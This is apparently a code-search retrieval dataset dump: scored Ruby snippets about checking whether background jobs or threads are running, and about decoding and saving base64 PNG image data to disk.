queued_at.nil?\n end", "title": "" }, { "docid": "b9a3c57c1f610035a3b2e2549fa76b0e", "score": "0.66147476", "text": "def qd_running?\n running = false\n TaskQueue.where(state: 'heartbeat').each { |tq| running = true if tq.updated_at > 1.minute.ago }\n running\n end", "title": "" }, { "docid": "c7c3f196d57f1bb6db37dfb328971b39", "score": "0.6608537", "text": "def start_background_worker?\n return true if force?\n return !context.environment.forking?\n end", "title": "" }, { "docid": "8b3b80cec289fa589b8bf77401f3ae34", "score": "0.6606628", "text": "def active?\n @thread&.alive?\n end", "title": "" }, { "docid": "045dda65576cc3b70217752634d60716", "score": "0.6592498", "text": "def can_schedule_new_job?\n last_job = last_background_job\n !last_job.present? or last_job.failed? or last_job.completed?\n end", "title": "" }, { "docid": "b409b99717e899eba99b75862873655e", "score": "0.6591556", "text": "def scheduled?\n event.present?\n end", "title": "" }, { "docid": "9d0dadf114cf027251fed675fe6d0efe", "score": "0.6589521", "text": "def started?\n @current_worker_thread != nil\n end", "title": "" }, { "docid": "c134666531044a1b3f189b41095eecd1", "score": "0.6577924", "text": "def queued?\n proxy :queued?\n end", "title": "" }, { "docid": "2168892c2b659b364c78c00610b9f68e", "score": "0.65700525", "text": "def running?\n @thread&.alive?\n end", "title": "" }, { "docid": "5fe12c8cd9ed64507958dd1ee01089ab", "score": "0.6547023", "text": "def running?\n\t\treturn ! self.start_time.nil?\n\tend", "title": "" }, { "docid": "dcc247c790eabd95e9be1b61176b8f19", "score": "0.65418655", "text": "def running?\n @thread&.alive?\n end", "title": "" }, { "docid": "dcc247c790eabd95e9be1b61176b8f19", "score": "0.65418655", "text": "def running?\n @thread&.alive?\n end", "title": "" }, { "docid": "dcc247c790eabd95e9be1b61176b8f19", "score": "0.65418655", "text": "def running?\n @thread&.alive?\n end", "title": "" }, { "docid": "98d3323a3793ed42202a0567945a1f47", "score": "0.65094215", "text": "def running?\n _activity_thread.running?\n end", "title": "" }, { "docid": "f7c4e88fe48118b89416444ba5754691", "score": "0.65001607", "text": "def scheduled?\n future_configuration?\n end", "title": "" }, { "docid": "9111643367d1f5bf9c8264a52ffecf2e", "score": "0.64937985", "text": "def scheduled?\n state == \"scheduled\"\n end", "title": "" }, { "docid": "19a5ecf825fa8fdd99be5a2deb8e9a15", "score": "0.64625084", "text": "def running?\n !!@started_at\n end", "title": "" }, { "docid": "9dd53a983897bdd1f5762e60229290da", "score": "0.6458552", "text": "def executable?\n if self.id\n old_lock_version = self.lock_version\n self.reload\n return false if old_lock_version != self.lock_version\n end\n \n return WorkerQueue.waiting_tasks.include?(self) && !self.completed? && !self.running? \n end", "title": "" }, { "docid": "df8e645a2e079b0f073a2d5b070d623f", "score": "0.64583397", "text": "def background_alive?\n Marathonr::WorkRequest.find(session[:job_request_id])\n end", "title": "" }, { "docid": "bc6b300186bd59176909e82a7b8eae39", "score": "0.64535296", "text": "def cron_job?\n cron_schedule\n end", "title": "" }, { "docid": "0af98f646c3bd664cead64dc5bfb402c", "score": "0.64409035", "text": "def runnable?\n end", "title": "" }, { "docid": "4890764f99896f431045ed166fdd2190", "score": "0.6425606", "text": "def run_task?\n true\n end", "title": "" }, { "docid": "a5f5b8d569eae3e2e12bdcf9464c9a75", "score": "0.64158463", "text": "def scheduled?(resource)\n self.ignoreschedules or resource.scheduled?\n end", "title": "" }, { "docid": "061bd943a0a02e7fa4242355f8fde977", "score": "0.64108545", "text": "def do_scheduling?\n\t\t!self.scheduled_at.blank?\n\tend", "title": "" }, { "docid": "d80fd4c58e116cff894394267b2e9907", "score": "0.64033055", "text": "def running?\n @run_thread && @run_thread.alive?\n end", "title": "" }, { "docid": "45ee6e5a76381463bf7325a089afaa5e", "score": "0.63954645", "text": "def executable?\n \n # Return false if picked up by another WQ instance\n if id\n old_lock_version = lock_version\n self.reload\n return false if old_lock_version != lock_version\n end\n \n # Return true we can sill be executed\n return WorkerQueue.available_tasks.include?(self) && !completed? && !running? \n end", "title": "" }, { "docid": "b663a00b0859e91b91cb4369db81860e", "score": "0.6389137", "text": "def belongs_to_job?(digest)\n scheduled?(digest) || retried?(digest) || enqueued?(digest) || active?(digest)\n end", "title": "" }, { "docid": "6d8a219e66fcf039002648faa273d7c2", "score": "0.63863295", "text": "def worker?\r\n false\r\n end", "title": "" }, { "docid": "ecd65cd565b1652cc5cca761acc43563", "score": "0.6378431", "text": "def threaded? \n @threaded\n end", "title": "" }, { "docid": "6e3e97330f601c03f82539234774d5e2", "score": "0.6372389", "text": "def commit_scheduled?\n !self.commit_unscheduled?\n end", "title": "" }, { "docid": "1168f236ee50ca92a30bf868dd1e95f7", "score": "0.63718957", "text": "def real_time_process?\n @priority.zero?\n end", "title": "" }, { "docid": "4e3a74697e2d4d8b1e96643e809ad682", "score": "0.637122", "text": "def running?\n ! ! @in_run\n end", "title": "" }, { "docid": "367023b8121a7248a14db34a8360bf62", "score": "0.636924", "text": "def belongs_to_job?(digest)\n scheduled?(digest) || retried?(digest) || enqueued?(digest)\n end", "title": "" }, { "docid": "ac7fbdf0b416505663624566894913ec", "score": "0.6368588", "text": "def executing?\n @wait_thread&.status ? true : false\n end", "title": "" }, { "docid": "df52e227875ec82bfb717df00723ef75", "score": "0.6368452", "text": "def active?\n !queue_proxy.closed?\n end", "title": "" }, { "docid": "b1e1ce95031882d6ddae96bd62e03c78", "score": "0.63671696", "text": "def priority_queued?\n priority_end_product_sync_queue ? true : false\n end", "title": "" }, { "docid": "029fef7997ed6484056601587b0c5384", "score": "0.6362519", "text": "def pending?\n ts = task_states\n (ts == :new || ts == :pending || ts == :acquire_lock) && self.running?\n end", "title": "" }, { "docid": "d74a8e2baa06318a1fd55864f07f96a3", "score": "0.63594747", "text": "def running?\n !@thread.nil?\n end", "title": "" }, { "docid": "fafa00770b7f1f072ff86182206872f4", "score": "0.6356065", "text": "def runnable?\n true\n end", "title": "" }, { "docid": "646da064aa58bec18b826bd13cad2e6f", "score": "0.6355206", "text": "def running?\n @lock.synchronize { @start_time != nil } && !done?\n end", "title": "" }, { "docid": "e7fba6b321a4c803e633c39e76a43e18", "score": "0.6354198", "text": "def running?\n !!@worker and @worker.ok?\n end", "title": "" }, { "docid": "dc63ab407a1cd876424051b9eff8ae29", "score": "0.6351249", "text": "def running?\n true\n end", "title": "" }, { "docid": "dc63ab407a1cd876424051b9eff8ae29", "score": "0.6351249", "text": "def running?\n true\n end", "title": "" }, { "docid": "9971cdc7a4abbf8d3384ffa91ebd01f2", "score": "0.63440454", "text": "def running?\n started_at > finished_at \n end", "title": "" }, { "docid": "1d9082e1a0f212c2baa5187bfbedf453", "score": "0.63407534", "text": "def process?\n @mutex.synchronize do\n waiting != spawned || @tasks_waiting.length > 0\n end\n end", "title": "" }, { "docid": "63e79a1be824030e7ed07de49005adff", "score": "0.63406694", "text": "def executing_atomically?\n !@atomic_updates_to_execute_stack.nil?\n end", "title": "" }, { "docid": "c253ec8d94b82fa476ff28cac7eac68f", "score": "0.63357735", "text": "def running?()\n return @running\n end", "title": "" }, { "docid": "e1a95871276782f10b3ff6d6718dd0ce", "score": "0.6333538", "text": "def running?\n !@thread.nil?\n end", "title": "" }, { "docid": "19b5db2e5a493888730b7cb715d7b218", "score": "0.63287985", "text": "def instant_broadcast_processing?\n true\n end", "title": "" }, { "docid": "19b5db2e5a493888730b7cb715d7b218", "score": "0.63287985", "text": "def instant_broadcast_processing?\n true\n end", "title": "" }, { "docid": "6774b79f73348bdf49ef647766d373b2", "score": "0.63238573", "text": "def active?\n compute_timeout < @timeout\n end", "title": "" }, { "docid": "dd9155400b39a145c39e4bb3776b8d5b", "score": "0.6321756", "text": "def running?\n @executor.running?\n end", "title": "" }, { "docid": "7b21e6260a190c10ef7aa8b19eb1513c", "score": "0.6321169", "text": "def active?\n started? && !finished?\n end", "title": "" }, { "docid": "53b8c4ec37543c06d740d150d5a97edb", "score": "0.6318667", "text": "def retry_instance?\n cron_job? && state\n end", "title": "" }, { "docid": "6628527674ea5374ee0b15e64bb660eb", "score": "0.6314087", "text": "def running?\n true\n end", "title": "" }, { "docid": "1d1b8acafcb64abc462d66010a5f7542", "score": "0.6313543", "text": "def threaded?\n @threaded\n end", "title": "" }, { "docid": "67b30465ea149c1dffe529223f428a06", "score": "0.6309491", "text": "def running?\n return started? && !completed?\n end", "title": "" }, { "docid": "95e55dee8e3e37bc1521c4e0627f77ee", "score": "0.6304893", "text": "def running?() @running; end", "title": "" }, { "docid": "534687d487291472e6047381c54a4086", "score": "0.63044864", "text": "def running?\n\t\treturn self.executor&.running?\n\tend", "title": "" }, { "docid": "cb63b5605311f6e68251a8360ae5eb38", "score": "0.6303159", "text": "def running?\n end", "title": "" }, { "docid": "70773257c9a268aee259ed00f467013e", "score": "0.62998366", "text": "def running?\n @current_interval.running?\n end", "title": "" }, { "docid": "70773257c9a268aee259ed00f467013e", "score": "0.62998366", "text": "def running?\n @current_interval.running?\n end", "title": "" }, { "docid": "4b32505c42e3cf7030ae3be8a4567b97", "score": "0.6296539", "text": "def still_running?\n @threads.any?{|e| e && e.respond_to?(:alive?) && e.alive? }\n end", "title": "" }, { "docid": "36393a690b28c45c23df173bae14ad67", "score": "0.6292783", "text": "def connected_or_pending_to?(entity)\n # check reverse direction because we need to see if pending request is coming from other startup\n r = Relationship.between(entity, self)\n return true if r and (r.pending? or r.approved?)\n false\n end", "title": "" }, { "docid": "e914cf3113513d070f6008988502a170", "score": "0.6292356", "text": "def scheduled\n return true if self.complete\n return self.read_attribute(:scheduled)\n end", "title": "" }, { "docid": "56fd32c53f2ed1665b86d79186526edc", "score": "0.6291671", "text": "def running?\r\n true\r\n end", "title": "" }, { "docid": "e9f5a16a06b90fd6c85ef6bd457c60d4", "score": "0.6291196", "text": "def scheduled?(job_or_job_id)\n\n job, _ = fetch(job_or_job_id)\n\n !! (job && job.unscheduled_at.nil? && job.next_time != nil)\n end", "title": "" }, { "docid": "921e9b74d8059a5fe24bbf2c53af343b", "score": "0.6280937", "text": "def alive?\n @mutex.lock\n begin\n !@threadpool.empty? and @threadpool.all?(&:alive?)\n ensure\n @mutex.unlock rescue nil\n end\n end", "title": "" }, { "docid": "a286115dfd2bdc5f4c934b705c56ced5", "score": "0.62786704", "text": "def running?\n @running\n end", "title": "" }, { "docid": "a286115dfd2bdc5f4c934b705c56ced5", "score": "0.62786704", "text": "def running?\n @running\n end", "title": "" }, { "docid": "a286115dfd2bdc5f4c934b705c56ced5", "score": "0.62786704", "text": "def running?\n @running\n end", "title": "" }, { "docid": "605c624f3d326f6f3ca9c6ed320c9f3b", "score": "0.62782186", "text": "def running?\n true # FIXME\n end", "title": "" }, { "docid": "c54eb6f0f9df6391c26fa9bb9175ea3e", "score": "0.6276428", "text": "def running?\n @alive\n end", "title": "" }, { "docid": "eb7d565182d48ca25f9a9e34b6a18c1c", "score": "0.6270651", "text": "def started?\n !(waiting_to_start?)\n end", "title": "" }, { "docid": "eb7d565182d48ca25f9a9e34b6a18c1c", "score": "0.6270651", "text": "def started?\n !(waiting_to_start?)\n end", "title": "" }, { "docid": "d2b324f0ac38751cf6f6b13517fd7df0", "score": "0.6267855", "text": "def running?\n return @running\n end", "title": "" }, { "docid": "d2b324f0ac38751cf6f6b13517fd7df0", "score": "0.6267855", "text": "def running?\n return @running\n end", "title": "" }, { "docid": "d2b324f0ac38751cf6f6b13517fd7df0", "score": "0.6267855", "text": "def running?\n return @running\n end", "title": "" }, { "docid": "d2b324f0ac38751cf6f6b13517fd7df0", "score": "0.6267855", "text": "def running?\n return @running\n end", "title": "" }, { "docid": "813e5370eeb552f66dc2787d005a7d4b", "score": "0.626433", "text": "def should_run?\n queued_items.count > 0\n end", "title": "" }, { "docid": "1d18f94f5378a6b66c2248a1b33e4e09", "score": "0.6260984", "text": "def running?\n return @started\n end", "title": "" }, { "docid": "cde1e4b80f9e36e45ae1aa3b8bbd85e8", "score": "0.62580276", "text": "def expected_instance?\n retry_instance? || cron_schedule.job_id == job_id\n end", "title": "" }, { "docid": "b45fe08265f0d5b986b9c38c0b51fcbc", "score": "0.6257622", "text": "def start_background_worker?\n !environment.forking? or environment.app_server == :thin\n end", "title": "" }, { "docid": "2056bf1912efb683e5c7a221be612595", "score": "0.6257306", "text": "def alive?\n @_cleanthread_thread && @_cleanthread_thread.alive?\n end", "title": "" } ]
b9f040c49ac309717e3118b044eca0e7
INFO: 'base64/png' image data can be written to disk like this (python2.7): File.open('image_to_save.png', 'wb') do|f| f.write(Base64.decode64(image_data)) end
[ { "docid": "34dc6bce66f15bd7d07bc2b7b8d26b1a", "score": "0.0", "text": "def setup\n @client = RetinaSDK::FullClient.new(Conf::API_KEY, api_server: Conf::BASE_PATH, retina_name: Conf::RETINA_NAME)\n end", "title": "" } ]
[ { "docid": "a5343eecaf8fba5b054f227797afd54f", "score": "0.71531945", "text": "def save_image(data)\n hacker_id = checksum(data)\n filename = checksum(data) + '.jpg'\n unless File.exists?(filename)\n File.open(filename, 'w') do |f|\n f.write data\n debug 'wrote %d bytes to %s' % [data.length, f.path]\n end\n end\n hacker_id\n end", "title": "" }, { "docid": "935de92728ec1eb0ce26c72f2f1347d2", "score": "0.71385926", "text": "def save_image_file(img_data)\n file = Tempfile.new(['gf_image_', '.png'], @config.images_folder.to_s)\n file.binmode\n file.write(img_data)\n path = file.path.gsub(/#{@config.images_folder}/, '')\n\n @image_files << file\n file.close\n\n path\n end", "title": "" }, { "docid": "5542df98fae11bed24157534f9629dc0", "score": "0.7094843", "text": "def create_and_save_file(base64_image)\n # Create & save the base64 file\n today = Time.now.strftime('%Y-%m-%d')\n output_filename = \"#{OUTPUT_FOLDER}/#{today}\"\n\n File.open(output_filename, 'w') do |file|\n file.write(base64_image)\n end\n\n puts \"Image successfully saved as #{output_filename}\"\n end", "title": "" }, { "docid": "0891c697f3dfb051eeb76c16b0ad95c0", "score": "0.7038787", "text": "def save_scribble_image(scribble_data)\n\t\tnew_image_path = File.join(Rails.root, 'public', 'system', 'annotations', \"scribble_#{self.id}.png\")\n\t\tscribble_image_data = Base64.decode64(scribble_data['data:image/png;base64,'.length .. -1])\n\t\tFile.open(new_image_path, 'wb') do |f|\n\t\t f.write scribble_image_data\n\t\tend\n\t\tself.content = new_image_path\n\t\tself.save\n\tend", "title": "" }, { "docid": "b9760debcbd970870cc282fd2bf406b3", "score": "0.6907049", "text": "def save_to_file image\n File.open('uml.png', 'wb') do |file|\n file << image.body\n end if image\n end", "title": "" }, { "docid": "f8c706d786d7c3742e01e8fefc2bc597", "score": "0.6901834", "text": "def write_img\n\t\t@image.write(@image_filename)\n end", "title": "" }, { "docid": "80ac0a4137a74de1ffaefe7237b07677", "score": "0.6901762", "text": "def set_image_base64(key, base64_image_data)\n tmp_file = \"#{Dir.tmpdir}/#{SecureRandom.uuid}\"\n File.binwrite(tmp_file, Base64.decode64(base64_image_data))\n set_image(key, tmp_file)\n ensure\n FileUtils.rm tmp_file\n end", "title": "" }, { "docid": "febdc0a32af73e3a10e8c771221cadf9", "score": "0.69016814", "text": "def save_base64_image\n if base64_image.present?\n adapter = Paperclip.io_adapters.for(base64_image)\n adapter.original_filename = \"wedding.png\"\n self.image = adapter\n end\n end", "title": "" }, { "docid": "fe92d1f3274e0d306b34920585417830", "score": "0.68373823", "text": "def decode_image_to_image_data(image)\n cid = URI.unescape(image)\n filename = \"image#{Time.now.to_i}\"\n file = File.open(\"#{Rails.root.to_s}/public/tmp/#{filename}.png\",\"wb\")\n temp2 = Base64.decode64(cid)\n file.write(temp2)\n file.close\n f = File.open(\"#{Rails.root.to_s}/public/tmp/#{filename}.png\")\n self.image = f\n f.close\n File.delete(\"#{Rails.root.to_s}/public/tmp/#{filename}.png\")\n\tend", "title": "" }, { "docid": "941b0106b0db319618fdda4afacda004", "score": "0.6689639", "text": "def write_image_to_file\n if (@file_data && !@file_data.size.zero?)\n Dir.mkdir(DIRECTORY) unless File.directory?(DIRECTORY) \n # Prepare the filenames for the conversion.\n source = File.join(\"tmp\",self.id.to_s)\n # Ensure that small and large images both work by writing to a normal file. \n # (Small files show up as StringIO, larger ones as Tempfiles.)\n File.open(source, \"wb\") { |f| f.write(@file_data.read) }\n # Convert the files.\n img = system(\"#{'convert'} '#{source}' -resize #{IMG_SIZE} '#{filename}'\")\n thumb = system(\"#{'convert'} '#{source}' -resize #{THUMB_SIZE} '#{thumb_filename}'\")\n # Delete temp file.\n File.delete(source) if File.exists?(source)\n end\n end", "title": "" }, { "docid": "6ddb27280ab41fca2205801db67cb312", "score": "0.667503", "text": "def encode_picture(file,output)\n enc = Base64.encode64(File.open(file,'rb'){|io| io.read})\n File.open(Rails.public_path.to_s + '/images/'+ output,'w') do |f|\n enc.gsub!(\"\\n\",'')\n f.write enc\n end\nend", "title": "" }, { "docid": "92778b861baa9b250f9fdf44f464cc86", "score": "0.6671041", "text": "def base64_from_png_image(image)\n Base64.encode64(bytes_from_png_image(image))\n end", "title": "" }, { "docid": "92778b861baa9b250f9fdf44f464cc86", "score": "0.6671041", "text": "def base64_from_png_image(image)\n Base64.encode64(bytes_from_png_image(image))\n end", "title": "" }, { "docid": "d60442988c5f31b1e7b9b284f54ed5f0", "score": "0.66506433", "text": "def render_image_data(image_data); render_image(image_data, :data); end", "title": "" }, { "docid": "59ed0cbe2bc60a7639e630c9296ff731", "score": "0.66331255", "text": "def store_image(data, options={})\n save_image(MogileImageStore::Attachment.new(data, options).preprocess!, options)\n end", "title": "" }, { "docid": "8f2f62e74b654acce47ba2aa39dc0e8b", "score": "0.66207135", "text": "def image=(data)\n write_image(:image, data)\n end", "title": "" }, { "docid": "8282873e40576715e63996d50b87d85c", "score": "0.66049457", "text": "def write_file\r\n logger.debug(\"Attempting to save bodysize image\")\r\n if !@file_data.blank?\r\n logger.debug(\"File data not blank\")\r\n \r\n directory = \"#{BODYSIZE_DATA_STORAGE_PATH}/#{id}/images/\"\r\n picture_path = directory + self.picture_filename\r\n \r\n if File.makedirs(directory)\r\n logger.debug(\"makedirs ok with #{directory}\")\r\n else\r\n logger.debug(\"Could not make directory #{directory}\")\r\n end\r\n \r\n logger.debug(\"Opening file #{self.picture_path}\")\r\n File.open(picture_path, \"wb\") do |file|\r\n logger.debug(\"Writing to file \" + file.path)\r\n file.write(@file_data.read)\r\n end\r\n end\r\n end", "title": "" }, { "docid": "e8ae02516e22cef51b0db23325f3f412", "score": "0.65673155", "text": "def decodeImg(imgBase64, imgPath)\n i = imgBase64\n image_data = i[i.index(\"base64,\") + \"base64,\".size, i.size]\n #=> iVBOR....\n image = Base64.decode64(image_data).force_encoding('utf-8')\n File.open(imgPath, \"w\") do |f|\n f.write(image)\n end\n end", "title": "" }, { "docid": "4e549701925fe4fed219a9179ae24161", "score": "0.65425205", "text": "def image_data\n # Store data into tempfile (with .png extension, yes imagemagick is dumb \n # here)\n file_name = File.join(Dir::tmpdir, \"structurograme-#{rand}.png\")\n @image.write(file_name)\n \n # Retrieve content and delete tempfile.\n content = nil\n File.open(file_name, 'rb') { |f| content = f.read }\n File.delete(file_name)\n \n content\n end", "title": "" }, { "docid": "5da0f45bac78c17489e47be1865aa502", "score": "0.6538502", "text": "def write_image!\n if image_layers_dirty?\n image = Tempfile.open(['outfit_image', '.png'])\n begin\n create_image! image\n self.image_layers_hash = generate_image_layers_hash\n self.image = image\n self.image_enqueued = false\n save!\n ensure\n image.close!\n end\n end\n \n self.image\n end", "title": "" }, { "docid": "6c3f4203c32ca0ac5cf2e3fb87435af2", "score": "0.6524611", "text": "def write_image(img, out_fname)\n img.write(out_fname)\n end", "title": "" }, { "docid": "5a4a467937841f713b481a9edd928c4a", "score": "0.6518542", "text": "def to_base64\n \"data:image/#{extension};base64,#{Base64.encode64(image)}\"\n end", "title": "" }, { "docid": "67204cf6236b839be15a4379da7f2509", "score": "0.65103436", "text": "def image_with_base64=(data)\n img = data\n\n if data.is_a?(String) && data.include?(\"data:image\")\n parts = data.split(',')\n\n meta = parts.first\n content_type = meta.split(';').first.gsub!('data:', '')\n extension = content_type.split('/').last\n extension = (extension == 'jpeg') ? 'jpg' : extension\n\n img = Paperclip.io_adapters.for(data)\n\n img.content_type = content_type\n img.original_filename = [rand(10_000), extension].join('.')\n \n end\n\n self.image_without_base64 = img\n end", "title": "" }, { "docid": "e428fcc11f4661fced0a1679f0ae0d85", "score": "0.6485906", "text": "def process\n extracted_area = extract_area\n base64_image = encode_to_base64(extracted_area)\n create_and_save_file(base64_image)\n end", "title": "" }, { "docid": "6c6a87f7d3b014cb8f90f0b77b20199d", "score": "0.6480012", "text": "def imagedata; end", "title": "" }, { "docid": "9b6dbdbe9e83bc7ed3c5e640d2457678", "score": "0.6447177", "text": "def write_file\r\n if !@file_data.blank?\r\n directory = \"#{USER_DATA_STORAGE_PATH}/#{id}/images/\"\r\n picture_path = directory + self.picture_filename\r\n\r\n if File.makedirs(directory)\r\n logger.debug(\"makedirs ok with #{directory}\")\r\n else\r\n logger.debug(\"Could not make directory #{directory}\")\r\n end\r\n\r\n logger.debug(\"Opening file #{self.picture_path}\")\r\n File.open(picture_path, \"wb\") do |file|\r\n logger.debug(\"Writing to file \" + file.path)\r\n file.write(@file_data.read)\r\n end\r\n end\r\n end", "title": "" }, { "docid": "a16ef96e56030e065c7563afdbf5f25c", "score": "0.64329904", "text": "def main_image_with_base64=(data)\n image = data\n\n if data.is_a?(String) && data.include?(\"data:image\")\n parts = data.split(',')\n\n meta = parts.first\n content_type = meta.split(';').first.gsub!('data:', '')\n extension = content_type.split('/').last\n extension = (extension == 'jpeg') ? 'jpg' : extension\n\n image = Paperclip.io_adapters.for(data)\n\n image.content_type = content_type\n image.original_filename = [rand(10_000), extension].join('.')\n\n end\n\n self.main_image_without_base64 = image\n end", "title": "" }, { "docid": "a16ef96e56030e065c7563afdbf5f25c", "score": "0.64329904", "text": "def main_image_with_base64=(data)\n image = data\n\n if data.is_a?(String) && data.include?(\"data:image\")\n parts = data.split(',')\n\n meta = parts.first\n content_type = meta.split(';').first.gsub!('data:', '')\n extension = content_type.split('/').last\n extension = (extension == 'jpeg') ? 'jpg' : extension\n\n image = Paperclip.io_adapters.for(data)\n\n image.content_type = content_type\n image.original_filename = [rand(10_000), extension].join('.')\n\n end\n\n self.main_image_without_base64 = image\n end", "title": "" }, { "docid": "9e210d5977248db85bf84c2c24e4efa6", "score": "0.64192504", "text": "def save_file\n @file = File.open(@save_path, \"wb\")\n @file.write(@object.body)\n @file.close\n rescue\n @error = \"Unable to save resulting image at `#{@save_path}` location\"\n end", "title": "" }, { "docid": "98a85abd08bbef2a5dc9c5702ce3a887", "score": "0.63938546", "text": "def save_cover_picture(data)\n File.open('public/images/universities/'+ self.cover_picture,'w') do |f|\n f.write data\n end\n end", "title": "" }, { "docid": "1dbfd976532e8a57c0d3b2a35e18275d", "score": "0.63894606", "text": "def encoded_to_file(encoded_image, extension = 'png')\n temp_file = Tempfile.new([SecureRandom.hex(3), \".#{extension}\"], Rails.root.join('tmp'))\n temp_file.binmode\n temp_file.write(Base64.decode64(encoded_image))\n temp_file.close\n temp_file\n end", "title": "" }, { "docid": "f9fdb244df9cd40bb9448a3cb6e8ec46", "score": "0.6356094", "text": "def save_profile_picture(data)\n File.open('public/images/universities/'+ self.profile_picture,'w') do |f|\n f.write data\n end\n end", "title": "" }, { "docid": "509580d29cd5e43e36ce118f95445f83", "score": "0.6354084", "text": "def convert(image)\n cid = URI.unescape(image)\n filename = \"image#{Time.now.to_i}\"\n file = File.open(\"#{Rails.root.to_s}/tmp/#{filename}.png\",\"wb\")\n temp2 = Base64.decode64(cid)\n file.write(temp2)\n file.close\n f = File.open(\"#{Rails.root}/tmp/#{filename}.png\")\n self.image = f\n f.close\n File.delete(\"#{Rails.root.to_s}/tmp/#{filename}.png\")\n end", "title": "" }, { "docid": "71f81efc20c137c4731572cfacf85da3", "score": "0.6323457", "text": "def save_cover_picture(data)\n File.open('public/images/universities/cover/'+ self.cover_picture,'w') do |f|\n data.gsub!(\"\\n\",'')\n f.write data\n end\n end", "title": "" }, { "docid": "c4bfc8afb82c83a4c209297c633b37d4", "score": "0.6262463", "text": "def create_image_from_base64\n if params[:entry] && params[:entry][:image_base64]\n sio = StringIO.new(Base64.decode64(params[:entry][:image_base64]))\n sio.content_type = \"image/jpeg\"\n sio.original_filename = \"mobile-photo.jpg\"\n @entry.photo = sio\n end\n end", "title": "" }, { "docid": "e13adb9550e11ba1931401bdf0feafcd", "score": "0.62607235", "text": "def save_profile_picture(data)\n File.open('public/images/universities/profile/'+ self.profile_picture,'w') do |f|\n data.gsub!(\"\\n\",'')\n f.write data\n end\n end", "title": "" }, { "docid": "5a51f11a1fb23858cfad25d4e83a8d06", "score": "0.6249315", "text": "def write_file\n begin\n if File.exists? @wallpaper_file then\n file = File.open( @wallpaper_file, \"w\" )\n else\n file = File.new( @wallpaper_file, \"w\" )\n end\n\n file.write(@image_data)\n rescue IOError => e\n close e.message 1\n ensure\n file.close unless file.nil?\n end\n end", "title": "" }, { "docid": "7dd562f85bd033093f7e3bb4e6d82a85", "score": "0.62396944", "text": "def image_data=(data)\n regex = /data:(.*);(.*),/\n realdata = regex.match(data).post_match\n\n # decode data and create stream on them\n io = CarrierStringIO.new(Base64.decode64(realdata))\n\n self.avatar = io\n end", "title": "" }, { "docid": "71e0736befae1c7ca80ab3c7bb865020", "score": "0.6196535", "text": "def decode_image(filename, data)\r\n\r\n data_index = data.index('base64') + 7\r\n filedata = data.slice(data_index, data.length)\r\n decoded_image = Base64.decode64(filedata)\r\n\r\n end", "title": "" }, { "docid": "f08270a0bfa6f3117cada840784886aa", "score": "0.6193738", "text": "def to_png\n end", "title": "" }, { "docid": "f08270a0bfa6f3117cada840784886aa", "score": "0.6193738", "text": "def to_png\n end", "title": "" }, { "docid": "5235037699def8de96f0de3363d97d4f", "score": "0.61883634", "text": "def data_image_path(image)\n extension = image[:name].split('.').last\n if extension == 'svg'\n \"data:image/svg+xml;base64, #{Base64.encode64(image[:data])}\"\n elsif extension == 'jpg'\n \"data:image/jpg;base64, #{Base64.encode64(image[:data])}\"\n elsif extension == 'png'\n \"data:image/png;base64, #{Base64.encode64(image[:data])}\"\n elsif extension == 'jpeg'\n \"data:image/png;base64, #{Base64.encode64(image[:data])}\"\n end\n end", "title": "" }, { "docid": "5434c7e8baf7af38e56540eb3c3e509e", "score": "0.6166235", "text": "def to_image; end", "title": "" }, { "docid": "48d5cbc9e6c1f0126a1d19a6b8a3e7f3", "score": "0.6161194", "text": "def save_image(img, path)\n img.write(path) { |options| options.quality = 85 }\n # Remove metadata.\n `convert -strip #{path} #{path}`\n end", "title": "" }, { "docid": "746bad887575a74f49bdbce3103b3720", "score": "0.6144045", "text": "def image_data=(data)\n regex = /data:(.*);(.*),/\n realdata = regex.match(data).post_match\n\n # decode data and create stream on them\n io = CarrierStringIO.new(Base64.decode64(realdata))\n\n # this will do the thing (avatar is mounted carrierwave uploader)\n self.avatar = io\n end", "title": "" }, { "docid": "adfcc5965a209dfad7b8da76a575ad28", "score": "0.61387646", "text": "def to_s\n return data unless data.is_a?(ImageData)\n \"data:#{data.content_type};base64,#{::Base64.encode64(data.body)}\"\n end", "title": "" }, { "docid": "1d6f88b4e3167a5f51e8e8b50ae9a261", "score": "0.6132096", "text": "def encode_to_base64(area_image)\n Base64.encode64(area_image.to_blob)\n end", "title": "" }, { "docid": "2e35da4f92f93a508512803dfba04ff2", "score": "0.6129501", "text": "def save()\n open_image()\n # Copy to original file system path so file extension \n # is conserved: \n @img.write(@media_asset.fs_path)\n create_image_versions()\n delete_image_tempfiles()\n end", "title": "" }, { "docid": "edef20894bf74f1a8ae38e55f55838c6", "score": "0.612709", "text": "def thumb_image_with_base64=(data)\n image = data\n\n if data.is_a?(String) && data.include?(\"data:image\")\n parts = data.split(',')\n\n meta = parts.first\n content_type = meta.split(';').first.gsub!('data:', '')\n extension = content_type.split('/').last\n extension = (extension == 'jpeg') ? 'jpg' : extension\n\n image = Paperclip.io_adapters.for(data)\n\n image.content_type = content_type\n image.original_filename = [rand(10_000), extension].join('.')\n \n end\n\n self.thumb_image_without_base64 = image\n end", "title": "" }, { "docid": "d8b29bbeac6c6636cbae28e4c189d72c", "score": "0.6118768", "text": "def mobile_image_with_base64=(data)\n image = data\n\n if data.is_a?(String) && data.include?(\"data:image\")\n parts = data.split(',')\n\n meta = parts.first\n content_type = meta.split(';').first.gsub!('data:', '')\n extension = content_type.split('/').last\n extension = (extension == 'jpeg') ? 'jpg' : extension\n\n image = Paperclip.io_adapters.for(data)\n\n image.content_type = content_type\n image.original_filename = [rand(10_000), extension].join('.')\n\n end\n\n self.mobile_image_without_base64 = image\n end", "title": "" }, { "docid": "77d8259daaec023e60044bf14001cc34", "score": "0.60996115", "text": "def scribble_data\n\t\tif self.annotation_type == 'scribble'\n\t\t\tdata = Base64.encode64(File.read(self.content)).gsub(\"\\n\", '')\n\t\t\t\"data:image/png;base64,#{data}\"\n\t\tend\n\tend", "title": "" }, { "docid": "beb1b6bbfff4d8be58aee3193a276afd", "score": "0.60990936", "text": "def image=(data) \n result = Image.from_base64(data, self.name)\n image.attach(result)\n end", "title": "" }, { "docid": "a48ecf81c405661b59ec52e8de774d4e", "score": "0.60772806", "text": "def index\n @encodingtests = Encodingtest.all\n base64_image = \n \n File.open(\"app/image_uploads/IMG_9215.jpg\", \"rb\") do |file|\n # why strict_encode64\n # https://ruby-doc.org/stdlib-2.3.1/libdoc/base64/rdoc/Base64.html#method-i-strict_encode64\n Base64.strict_encode64(file.read)\n end\n Encodingtest.create(image:base64_image)\n \n\n image =\n\n File.open(\"app/image_uploads/IMG_9215.jpg\", \"rb\") do |file|\n # why strict_encode64\n # 